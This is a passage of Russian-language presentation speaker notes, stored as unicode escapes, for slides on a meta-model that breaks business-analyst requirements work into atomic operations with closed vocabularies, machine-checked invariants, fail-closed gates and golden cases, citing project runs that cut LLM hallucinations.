\u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0432\u0430 \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430, \u0434\u0432\u0430 \u2014\\n\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0421\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 \u2014 \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u044b \u0441\u0442\u0430\u0432\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n  8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n  \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439. \u041f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435,\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u0412\u044b\u0431\u043e\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b. RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440: \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443. \u0411\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n- \u0421\u0432\u0435\u0440\u043a\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u0435\u0439\u0441\u0443. \u041d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u044c\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 